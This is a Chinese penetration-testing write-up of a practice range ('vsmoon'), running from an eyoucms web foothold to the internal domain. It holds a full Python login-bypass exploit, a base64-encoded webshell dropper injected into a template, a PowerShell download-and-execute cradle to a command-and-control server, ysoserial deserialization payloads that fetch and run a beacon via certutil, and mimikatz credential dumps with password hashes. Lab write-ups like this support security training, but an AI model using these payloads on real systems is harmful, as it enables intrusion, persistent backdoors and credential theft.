vsmoon 考核项目复现

靶场介绍

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

这个是暗月渗透测试第五项目,本项目主要考核从外网web到内网域渗透的能力,主要考核内容包括以下:

web: php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。

配置信息

主机名 账号和密码 ip
ad 域管理 vsmoon/administrator QWEasd…123
域通用户 vsmoon/data QWEasd…444
10.10.10.137
data 管理员 administrator 密码 QWEasd12300 192.168.22.146
10.10.10.136
web 管理员账号 administrator QWEadmin123 mysql账号和密码 mysql
root root123.123 网站账号 admin 密码 !@#AAA112
192.168.0.116
192.168.22.152

拓扑图

vsmoon 考核项目复现_第1张图片

外网打点

端口扫描

# nmap -p 1-65535 -T4 -A -v 216.224.123.190

Not shown: 65524 filtered tcp ports (no-response)

PORT      STATE SERVICE              VERSION

80/tcp    open  http?

5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

7000/tcp  open  ssl/afs3-fileserver?

|_ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: 

| Issuer: 

| Public Key type: rsa

| Public Key bits: 1024

| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 1-01-01T00:00:00

| Not valid after:  1-01-01T00:00:00

| MD5:   9578d3a2934439723ebe50c0fca62eda

|_SHA-1: 01228061f6921fb5fda6aebedc0c44b3230a76ea

|_irc-info: Unable to open connection

47001/tcp open  http                 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49152/tcp open  msrpc                Microsoft Windows RPC

49153/tcp open  msrpc                Microsoft Windows RPC

49154/tcp open  msrpc                Microsoft Windows RPC

49155/tcp open  msrpc                Microsoft Windows RPC

49157/tcp open  msrpc                Microsoft Windows RPC

49158/tcp open  msrpc                Microsoft Windows RPC

55999/tcp open  ssl/unknown

|_ssl-date: 2022-10-02T15:08:01+00:00; +4s from scanner time.

| ssl-cert: Subject: commonName=HHQtTJ4985

| Issuer: commonName=HHQtTJ4985

| Public Key type: rsa

| Public Key bits: 2048

| Signature Algorithm: sha1WithRSAEncryption

| Not valid before: 2022-09-04T07:49:04

| Not valid after:  2023-03-06T07:49:04

| MD5:   c593fdc4f2e205202272ef72eba96874

|_SHA-1: 0251ccabdabda2dbfc4aa4dadd111d733b940b74

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

端口扫描没有看到什么有用的东西,只有一个 80 端口是可以访问的。

网站信息收集

访问网站在网站下面发现为eyoucms 。

vsmoon 考核项目复现_第2张图片

在百度搜索相关漏洞,可能存在 eyouCMS 1.5.2 前台getshell 漏洞

文章地址:https://www.cnblogs.com/1jzz/p/15489724.html

已知的后台登录地址:

http://216.224.123.190/login.php?s=Admin/login

PHP代码审计绕过登录进后台

我们先去官网下载对应的版本,设置 xdebug 用 Phpstorm 进行代码审计。

# php.ini xdebug 设置

[Xdebug]
zend_extension=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir ="C:/Penetration/TrafficTools/phpStudyV8/Extensions/tmp/xdebug"
xdebug.remote_enable=Off
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.remote_autostart=1 
xdebug.remote_enable=On
xdebug.idekey="PHPSTORM"

Phpstorm 设置

vsmoon 考核项目复现_第3张图片

后台登录判断

路径: application/admin/controller/Base.php

public function _initialize() 
    {
        $this->session_id = session_id(); // 当前的 session_id
        !defined('SESSION_ID') && define('SESSION_ID', $this->session_id); //将当前的session_id保存为常量,供其它方法调用

        parent::_initialize();

        //过滤不需要登陆的行为
        $ctl_act = CONTROLLER_NAME.'@'.ACTION_NAME;
        $ctl_all = CONTROLLER_NAME.'@*';
        $filter_login_action = config('filter_login_action');
        if (in_array($ctl_act, $filter_login_action) || in_array($ctl_all, $filter_login_action)) {
            //return;
        }else{
            $web_login_expiretime = tpCache('web.web_login_expiretime');
            empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
            $admin_login_expire = session('admin_login_expire'); // 登录有效期web_login_expiretime

            // 验证登录
            if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime) {
                session('admin_login_expire', getTime()); // 登录有效期
                $this->check_priv();//检查管理员菜单操作权限
            }else{
                /*自动退出*/
                adminLog('访问后台');
                session_unset();
                session::clear();
                cookie('admin-treeClicked', null); // 清除并恢复栏目列表的展开方式
                /*--end*/
                if (IS_AJAX) {
                    $this->error('登录超时!');
                } else {
                    $url = request()->baseFile().'?s=Admin/login';
                    $this->redirect($url);
                }
            }
        }

        /* 增、改的跳转提示页,只限制于发布文档的模型和自定义模型 */
        $channeltype_list = config('global.channeltype_list');
        $controller_name = $this->request->controller();
        $this->assign('controller_name', $controller_name);
        if (isset($channeltype_list[strtolower($controller_name)]) || 'Custom' == $controller_name) {
            if (in_array($this->request->action(), ['add','edit'])) {
                \think\Config::set('dispatch_success_tmpl', 'public/dispatch_jump');
                $id = input('param.id/d', input('param.aid/d'));
                ('GET' == $this->request->method()) && cookie('ENV_IS_UPHTML', 0);
            } else if (in_array($this->request->action(), ['index'])) {
                cookie('ENV_GOBACK_URL', $this->request->url());
                cookie('ENV_LIST_URL', request()->baseFile()."?m=admin&c={$controller_name}&a=index&lang=".$this->admin_lang);
            }
        }
        if ('Archives' == $controller_name && in_array($this->request->action(), ['index_archives'])) {
            cookie('ENV_GOBACK_URL', $this->request->url());
            cookie('ENV_LIST_URL', request()->baseFile()."?m=admin&c=Archives&a=index_archives&lang=".$this->admin_lang);
        }
        /* end */
    }

其中最重要的代码为

// 验证登录
            if (session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime) {
                session('admin_login_expire', getTime()); // 登录有效期
                $this->check_priv();//检查管理员菜单操作权限

这里的判断为是否能够登录,成功后会设置登录的有效期。

其中的 check_priv 函数是验证我们是否拥有管理员权限的。

public function check_priv()
    {
        $ctl = CONTROLLER_NAME;
        $act = ACTION_NAME;
        $ctl_act = $ctl.'@'.$act;
        $ctl_all = $ctl.'@*';
        //无需验证的操作
        $uneed_check_action = config('uneed_check_action');
        if (0 >= intval(session('admin_info.role_id'))) {
            //超级管理员无需验证
            return true;
        } else {
            $bool = false;

            /*检测是否有该权限*/
            if (is_check_access($ctl_act)) {
                $bool = true;
            }
            /*--end*/

            /*在列表中的操作不需要验证权限*/
            if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
                $bool = true;
            }
            /*--end*/

            //检查是否拥有此操作权限
            if (!$bool) {
                $this->error('您没有操作权限,请联系超级管理员分配权限');
            }
        }
    }

这里可以看到如果 0 >= intval(session('admin_info.role_id')) 成立就直接返回 true 。

到这里我们还看不出来有什么漏洞,个人理解漏洞在于 application/admin/controller/Ajax.php 中的 get_token 方法,其中的 $name 是我们可以控制的并且还进行了md5的加密。

application/admin/controller/Ajax.php

public function get_token($name = '__token__')
    {
        if (IS_AJAX) {
            echo $this->request->token($name);
            exit;
        } else {
            abort(404);
        }
    }

我们再跟一下 token 函数

public function token($name = '__token__', $type = 'md5')
    {
        $type  = is_callable($type) ? $type : 'md5';
        $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
        if ($this->isAjax()) {
            header($name . ': ' . $token);
        }
        Session::set($name, $token);
        return $token;
    }

REQUEST_TIME_FLOAT 为服务器的时间戳

这里还有一个小细节,这里有一个函数 isAjax 用于验证是否是 Ajax 请求,我们跟进看一下具体实现。

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
        $result = ('xmlhttprequest' == $value) ? true : false;
        if (true === $ajax) {
            return $result;
        } else {
            $result           = $this->param(Config::get('var_ajax')) ? true : $result;
            $this->mergeParam = false;
            return $result;
        }
    }

可以看到它只是判断了我们请求头中有没有 X_REQUESTED_WITH 并且值为 xmlhttprequest,这个很好绕过,我们在请求的时候抓包添加一下就行了。

到这里有的人就有点懵了,这怎么就绕过登录了呢,我们先来梳理一下绕过流程:

  • 1.首先判断 session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime 这里决定我们能不能登录
  • 2.然后判断 (0 >= intval(session('admin_info.role_id'))) 这里决定我们是否是管理员权限

其中的 admin_login_expireadmin_idadmin_info.role_id 都是在 session 中取出来的,本来代码没有什么问题但是在 get_token函数中我们能控制传入的 name,如果我们给它传入 admin_login_expireadmin_idadmin_info.role_id 我们就变相的控制了这三个变量的值。

并且设置的 session 的 name 值还进行了MD5的加密,在 php 中使用 intval 类型转换如果失败就会返回 0。具体的东西可以在网上搜索一下 intval的用法。

我们想一下如果admin_id有值并且 admin_login_expireadmin_info.role_id都为 0,是不是就满足了上面的两个条件了呢。

那剩下的利用就简单了,先给admin_id一个值再编写一个脚本不断请求修改 admin_login_expireadmin_info.role_id 直到找到符合条件的值,然后使用成功的 PHPSESSION 去替换我们的 PHPSESSION 进行登录。

python 编写脚本登录后台

# -*- coding:utf-8 -*-
from time import time

import requests
import re

# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}

# 定义一个 requests 会话
request = requests.session()

PHPSESSION = ""


# 绕过第一个判断
def get_session(url):
    global PHPSESSION

    # 设置 admin_id 并且,获取 PHPSESSION
    payload = '/index.php'
    result = request.get(url=url + payload, headers=header)
    # 获取PHPSESSION
    print("[+] PHPSESSION = " + re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])
    PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]


def set_admin_id(url):
    # 设置一个 admin_id 以绕过,第一个条件
    payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'
    result = request.get(url=url + payload, headers=header).text
    print(f"[+] 正在设置 admin_id -> [{result}]")


def set_admin_login_expire(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"

    while True:
        result = request.get(url=url + payload, headers=header).text

        # 第二个判断条件,判断登录是否在一小时里
        if (time() - int(change(result), 10) < 3600):
            print("[+] admin_login_expire = " + result)
            break

        print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")


def set_admin_info_role_id(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"

    while True:
        result = request.get(url=url + payload, headers=header).text

        # 第三个判断条件,判断是否是管理员权限
        if (int(change(result), 10) <= 0):
            print("[+] admin_login_expire = " + result)
            break

        print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")


def check_login(url):
    payload = "login.php?m=admin&c=System&a=web&lang=cn"
    result = request.get(url=url + payload).text

    if "网站LOGO" in result:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")
    else:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")

# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
    temp = ''
    for n, s in enumerate(string):
        if n == 0:
            if s.isalpha():
                return '0'
                break
        if s.isdigit():
            temp += str(s)
        else:
            if s.isalpha():
                break
    return temp


def run(url):
    # 开始计时
    time_start = time()

    get_session(url)
    set_admin_id(url)
    set_admin_login_expire(url)
    set_admin_info_role_id(url)
    check_login(url)

    print(f"[+] PHPSESSION = {PHPSESSION}")

    # 结束计时
    time_end = time()

    print(f"[+] 总共用时 {int(time_end) - int(time_start)} s")


if __name__ == '__main__':
    url = "http://192.168.0.116/"
    run(url)

后台 getshell

通过在网上的信息收集,使用 eyoucms 1.5.5 后台任意命令执行漏洞 getshell。

文章地址:https://blog.csdn.net/miuzzx/article/details/122235070

先使用脚本登录进后台

vsmoon 考核项目复现_第4张图片

在模板管理中的index.htm插入,写入冰蝎马的代码。

vsmoon 考核项目复现_第5张图片

file_put_contents("./uploads/allimg/sx.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZGZmZjBhN2ZhMWE1NWM4YyI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCXNlc3Npb25fd3JpdGVfY2xvc2UoKTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHQ9ImJhc2U2NF8iLiJkZWNvZGUiOwoJCSRwb3N0PSR0KCRwb3N0LiIiKTsKCQlmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHsKICAgIAkJJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHBvc3Q9b3BlbnNzbF9kZWNyeXB0KCRwb3N0LCAiQUVTMTI4IiwgJGtleSk7CgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCSRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAl9Cgl9CgkKICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pgo="));

然后访问 http://192.168.0.116/index.php 生成冰蝎马,使用冰蝎进行连接密码 cmd。

vsmoon 考核项目复现_第6张图片

上线 cs

使用 powershell 上线cs。

powershell IEX ((new-object net.webclient).downloadstring('http://43.143.15.244:7777/a'))

vsmoon 考核项目复现_第7张图片

vsmoon 考核项目复现_第8张图片

内网渗透

信息收集

网卡信息收集

beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:

Windows IP 配置


以太网适配器 Ethernet1:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::1dbf:ab65:be0f:f2d6%14
   IPv4 地址 . . . . . . . . . . . . : 192.168.22.152
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 

以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::c5e2:88c3:ca01:b8eb%12
   IPv4 地址 . . . . . . . . . . . . : 192.168.0.116
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.0.2

隧道适配器 isatap.{EB347315-9EA8-47D0-99FC-1F4625727AAC}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 

隧道适配器 isatap.{AF68560E-849D-46A8-8A5D-9BD78D0C2A97}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 

存在两个网段 192.168.22.0/24 、192.168.0.0/24

使用fscan扫描网段

使用cs的插件 LSTAR 上传 fscan 进行扫描。

# fscan.exe -h 192.168.22.1/24 -o out.txt
[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
(icmp) Target '192.168.22.152' is alive
(icmp) Target '192.168.22.146' is alive
(icmp) Target '192.168.22.1' is alive
icmp alive hosts len is: 3
192.168.22.146:135 open
192.168.22.152:139 open
192.168.22.152:3306 open
192.168.22.146:445 open
192.168.22.152:445 open
192.168.22.146:139 open
192.168.22.1:443 open
192.168.22.152:135 open
192.168.22.152:80 open
192.168.22.146:9999 open
alive ports len is: 10
start vulscan
NetInfo:
[*]192.168.22.152
   [->]web
   [->]192.168.0.116
   [->]192.168.22.152
NetInfo:
[*]192.168.22.146
   [->]data
   [->]10.10.10.136
   [->]192.168.22.146
[*] 192.168.22.152       WORKGROUP\WEB               Windows Server 2012 R2 Standard 9600
[*] WebTitle:http://192.168.22.152     code:200 len:39     title:鍝嶅簲寮忛挘閲戣澶囧埗閫犵綉绔欐ā鏉�
[*] WebTitle:https://192.168.22.1      code:403 len:0      title:None
[*] 192.168.22.146       VSMOON\DATA              Windows Server 2012 R2 Standard 9600

[+] received output:

看到存在 192.168.22.146 ,继续进行详细的端口扫描。

# fscan.exe -h 192.168.22.146 -np -p 1-65535 -o out.txt
# 加上 -np 的参数让它不要 ping 直接进行扫描
[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
192.168.22.146:139 open
192.168.22.146:135 open
192.168.22.146:445 open

[+] received output:
192.168.22.146:5985 open

[+] received output:
192.168.22.146:9999 open

[+] received output:
192.168.22.146:47001 open

[+] received output:
192.168.22.146:49159 open
192.168.22.146:49158 open
192.168.22.146:49157 open
192.168.22.146:49156 open
192.168.22.146:49155 open
192.168.22.146:49154 open
192.168.22.146:49153 open
192.168.22.146:49152 open

[+] received output:
alive ports len is: 14
start vulscan

[+] received output:
[*] WebTitle:http://192.168.22.146:5985 code:404 len:315    title:Not Found
[*] WebTitle:http://192.168.22.146:47001 code:404 len:315    title:Not Found
NetInfo:
[*]192.168.22.146
   [->]data
   [->]10.10.10.136
   [->]192.168.22.146
[*] 192.168.22.146       VSMOON\DATA              Windows Server 2012 R2 Standard 9600

[+] received output:

从端口上没有看到可以利用的点。当时在考核的时候一直没发现突破点,直到我使用rdp登录到桌面结合月师傅说第二台考验的是Java反序列化才发现了突破点。

vsmoon 考核项目复现_第9张图片

桌面上存在一个 QQclient.jar的 Java 文件并且还有账号密码。

beacon> shell type C:\Users\Administrator\Desktop\帐号.txt
[*] Tasked beacon to run: type C:\Users\Administrator\Desktop\帐号.txt
[+] host called home, sent: 75 bytes
[+] received output:
moonsec 123456
100 123456

除了截图桌面和登录系统,我们还可以使用 netstat -ano 查看可疑的程序连接

# netstat -ano
活动连接

  协议  本地地址          外部地址        状态           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       7156
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       588
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       6416
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       400
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       752
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       992
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING       1052
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING       496
  TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING       5828
  TCP    0.0.0.0:49161          0.0.0.0:0              LISTENING       504
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       1052
  TCP    192.168.0.116:53       0.0.0.0:0              LISTENING       1052
  TCP    192.168.0.116:139      0.0.0.0:0              LISTENING       4
  TCP    192.168.0.116:49163    61.160.204.189:80      CLOSE_WAIT      7112
  TCP    192.168.0.116:57694    43.143.15.244:6677     SYN_SENT        6244
  TCP    192.168.22.152:53      0.0.0.0:0              LISTENING       1052
  TCP    192.168.22.152:139     0.0.0.0:0              LISTENING       4
  TCP    192.168.22.152:52440   192.168.22.146:9999    FIN_WAIT_2      5268
  TCP    192.168.22.152:52479   192.168.22.146:9999    FIN_WAIT_2      5268
  TCP    192.168.22.152:55078   192.168.22.146:9999    FIN_WAIT_2      5708
  TCP    192.168.22.152:64100   192.168.22.146:9999    FIN_WAIT_2      5708
  TCP    [::]:80                [::]:0                 LISTENING       7156
  TCP    [::]:135               [::]:0                 LISTENING       588
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3306              [::]:0                 LISTENING       6416
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49152             [::]:0                 LISTENING       400
  TCP    [::]:49153             [::]:0                 LISTENING       696
  TCP    [::]:49154             [::]:0                 LISTENING       752
  TCP    [::]:49155             [::]:0                 LISTENING       992
  TCP    [::]:49156             [::]:0                 LISTENING       1052
  TCP    [::]:49157             [::]:0                 LISTENING       496
  TCP    [::]:49158             [::]:0                 LISTENING       5828
  TCP    [::]:49161             [::]:0                 LISTENING       504
  TCP    [::1]:53               [::]:0                 LISTENING       1052
  TCP    [fe80::1dbf:ab65:be0f:f2d6%14]:53  [::]:0                 LISTENING       1052
  TCP    [fe80::c5e2:88c3:ca01:b8eb%12]:53  [::]:0                 LISTENING       1052

这里同样可以看到与 192.168.22.146:9999 的可疑连接。

Java代码审计 反序列化分析

我们在cs上下载 QQclient.jar 进行反编译分析

vsmoon 考核项目复现_第10张图片

我们使用 jdGUI 打开 jar 包

vsmoon 考核项目复现_第11张图片

关于Java反序列化,我们可以直接全局搜索函数 writeObjectreadObject

通过全局搜索函数找到了以下的代码

vsmoon 考核项目复现_第12张图片

public boolean checkUser(String userId, String pwd)
  {
    this.u.setUserId(userId);
    this.u.setPasswd(pwd);
    boolean b = false;
    try
    {
      this.socket = new Socket(InetAddress.getByName("192.168.22.146"), 9999);
      
      ObjectOutputStream oos = new ObjectOutputStream(this.socket.getOutputStream());
      oos.writeObject(this.u);
      
      ObjectInputStream ois = new ObjectInputStream(this.socket.getInputStream());
      Message ms = (Message)ois.readObject();
      if (ms.getMesType().equals("1"))
      {
        ClientConnectServerThread ClientConnectServerThread = new ClientConnectServerThread(this.socket);
        
        ClientConnectServerThread.start();
        ManageClientConnectServerThread.addClientConnectServerThread(userId, ClientConnectServerThread);
        
        b = true;
      }
      else
      {
        this.socket.close();
      }
    }
    catch (Exception e)
    {
      e.printStackTrace();
    }
    return b;
  }

在代码中调用了 writeObject 方法进行序列化并且通过 socket 发送给了服务端,那我们就可以想一下服务端的代码会不会是接收 socket 然后使用 readObject 反序列化呢。

具体的服务端代码可以从 github 上搜索到,由于我的Java水平还不到家(才学到面向对象),自己写exp就算了。

具体的利用,还是直接使用网上的工具吧。

反序列化利用 上线cs

cs 生成转发上线的木马

vsmoon 考核项目复现_第13张图片

我们把生成的木马上传到 web 的网站根目录,一会利用反序列化直接下载执行上线cs。

vsmoon 考核项目复现_第14张图片

这里要想利用反序列化我们需要先确定服务端的Java版本,这里我查看了 web 上面的版本猜测服务器上面的版本应该是一样的。

beacon> shell java -version
[*] Tasked beacon to run: java -version
[+] host called home, sent: 44 bytes
[+] received output:
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)

可以看到版本为 1.8.0_651.8.0__71以下,那么这里可能能够使用 cc1链 来执行命令。

这里我直接使用 ysoserial 来生成攻击代码。

java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "certutil -urlcache -split -f http://192.168.22.152/beacon.exe C:/windows/temp/cs.exe" > re.bin

java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "C:/windows/temp/cs.exe" > re.bin

开启代理使用 nc 发送攻击代码

type re.bin | nc64.exe -vn 192.168.22.146 9999

因为我是Windows系统所以这里我使用 SocksCap64 来代理流量

vsmoon 考核项目复现_第15张图片

执行下载木马的命令

vsmoon 考核项目复现_第16张图片

运行木马

vsmoon 考核项目复现_第17张图片

cs成功上线

vsmoon 考核项目复现_第18张图片

第二台电脑信息收集

查看网卡

# shell ipconfig
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:

Windows IP 配置


以太网适配器 Ethernet1:

   连接特定的 DNS 后缀 . . . . . . . : 
   IPv4 地址 . . . . . . . . . . . . : 192.168.22.146
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 

以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 . . . . . . . : 
   IPv4 地址 . . . . . . . . . . . . : 10.10.10.136
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 

隧道适配器 isatap.{3584A6AF-8A8B-43AF-9A7B-052489073912}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 

隧道适配器 isatap.{0669B5F2-DA59-4096-B162-1871A174DEB9}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开
   连接特定的 DNS 后缀 . . . . . . . : 

存在 10.10.10.1/24 网段,在cs上使用插件上传 fscan 扫描内网段

# fscan.exe -h 10.10.10.1/24 -o out.txt
[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
(icmp) Target '10.10.10.136' is alive
(icmp) Target '10.10.10.137' is alive
icmp alive hosts len is: 2
10.10.10.136:139 open
10.10.10.136:135 open
10.10.10.137:88 open
10.10.10.137:445 open
10.10.10.136:445 open
10.10.10.137:139 open
10.10.10.137:135 open
10.10.10.136:9999 open
alive ports len is: 8
start vulscan
NetInfo:
[*]10.10.10.136
   [->]data
   [->]10.10.10.136
   [->]192.168.22.146
[*] 10.10.10.136         VSMOON\DATA              Windows Server 2012 R2 Standard 9600
NetInfo:
[*]10.10.10.137
   [->]ad
   [->]10.10.10.137
[*] 10.10.10.137  (Windows Server 2012 R2 Standard 9600)
[*] 10.10.10.137   [+]DC __MSBROWSE__\AD                Windows Server 2012 R2 Standard 9600

初步判断 10.10.10.137 为域控

域信息收集

定位域控

beacon> shell net time /domain
[*] Tasked beacon to run: net time /domain
[+] host called home, sent: 47 bytes
[+] received output:
\\ad.vsmoon.com 的当前时间是 2022/10/16 20:43:02

命令成功完成。


beacon> shell ping ad.vsmoon.com
[*] Tasked beacon to run: ping ad.vsmoon.com
[+] host called home, sent: 49 bytes
[+] received output:

正在 Ping ad.vsmoon.com [10.10.10.137] 具有 32 字节的数据:
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128

10.10.10.137 的 Ping 统计信息:
    数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

成功定位到域控 10.10.10.137

尝试横向移动

抓取hash抓取明文

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e0eaa205900fd89d4ebc9fe6176b4763:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 297594 bytes
[+] received output:

Authentication Id : 0 ; 69234 (00000000:00010e72)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-90-1
	msv :	
	 [00000003] Primary
	 * Username : DATA$
	 * Domain   : VSMOON
	 * NTLM     : dbcf2fc907129da73618daaacfda88e8
	 * SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61
	tspkg :	
	wdigest :	
	 * Username : DATA$
	 * Domain   : VSMOON
	 * Password : (null)
	kerberos :	
	 * Username : DATA$
	 * Domain   : vsmoon.com
	 * Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DATA$
Domain            : VSMOON
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : DATA$
	 * Domain   : VSMOON
